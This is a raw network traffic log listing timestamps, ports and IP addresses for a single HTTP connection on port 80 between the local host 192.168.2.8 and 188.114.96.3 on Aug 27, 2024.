Aug 27, 2024 09:49:43.448774099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448786020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448786974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448798895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448810101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448817015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448821068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448836088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448837042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448848009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448859930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448862076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448875904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448889971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448900938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448903084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448914051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448925972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448930979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448936939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448945045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448949099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448961973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448962927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448975086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448988914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448988914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448999882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.449014902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.449033976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.449680090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.532776117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532808065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532819033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532835007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532846928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532871962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532883883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532896042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532907963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532912970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.532921076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532957077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.532959938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532973051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.532979965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533014059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533015013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533025980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533035994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533047915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533056974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533083916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533160925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533175945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533186913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533199072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533211946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533221960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533235073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533236027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533256054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533266068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533267975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533289909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533298969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533305883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533309937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533323050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533333063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533345938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533356905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533356905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533368111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533369064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533377886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533389091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533401012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533401966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533438921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533550024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533567905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533581018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533591986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533600092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533603907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533616066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533626080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533632994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533633947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533638000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533643961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533657074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533715963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533720016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533727884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533739090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533751011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533762932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533773899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533773899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533776045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533787012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533799887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533799887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533832073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533860922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533870935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533881903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533893108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533902884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533909082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533922911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533937931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533937931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533950090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533960104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533972025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533978939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533984900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.533991098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.533998966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534033060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534059048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534070969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534080982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534111023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534121037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534168959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534181118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534190893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534203053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534214973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534219980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534228086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534239054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534245014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534252882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534279108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534302950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534328938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534341097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534349918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534362078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534372091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534380913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534384012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534395933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534408092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534410954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534419060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534426928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534435034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534446955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534451008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534459114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534468889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534477949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534481049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534492016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534497023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534538031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534813881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534825087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534835100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534846067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534857988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534858942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534871101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534882069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534883022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534893990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534898043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534905910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534917116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534923077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534929991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534940004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534950018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534953117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534965992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534969091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.534976959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.534989119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535001993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535028934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535115004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535128117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535139084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535151958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535161972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535162926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535168886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535175085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535176039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535249949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535269022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535280943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535291910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535301924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535314083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535315990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535326958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535337925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535337925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535350084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535376072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535398960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535419941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535433054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535444021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535454988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535468102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535470009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535478115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535490990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.535500050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.535523891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.586321115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.619779110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619800091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619812965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619828939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619842052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619863033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.619875908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.619887114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619901896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619914055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619942904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619942904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.619955063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619961023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.619967937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.619992971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620049953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620131016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620131016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620148897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620167971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620177984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620188951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620192051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620202065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620212078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620218039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620223999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620235920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620238066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620254040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620263100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620265961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620275974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620292902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620299101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620306015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620316029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620316982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620327950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620340109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620342016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620378017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620381117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620393038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620404959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620417118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620419979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620444059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620754957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620765924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620780945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620794058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620804071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620809078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620815992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620827913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620831013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620834112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620843887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620846033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620855093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620867968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620873928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620878935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620888948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620898962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620901108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620918989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620925903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620929956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620948076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620960951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620970011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620971918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620985985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.620995998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.620996952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621006012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621010065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621021986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621030092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621033907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621046066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621061087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621062994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621074915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621085882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621093035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621112108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621249914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621260881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621272087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621284962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621296883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621300936 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621306896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621319056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621325016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621330023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621341944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621344090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621352911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621361017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621364117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621375084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621403933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621412992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621423960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621436119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621468067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621491909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621504068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621520042 CEST	80	49715	188.114.96.3	192.168.2.8
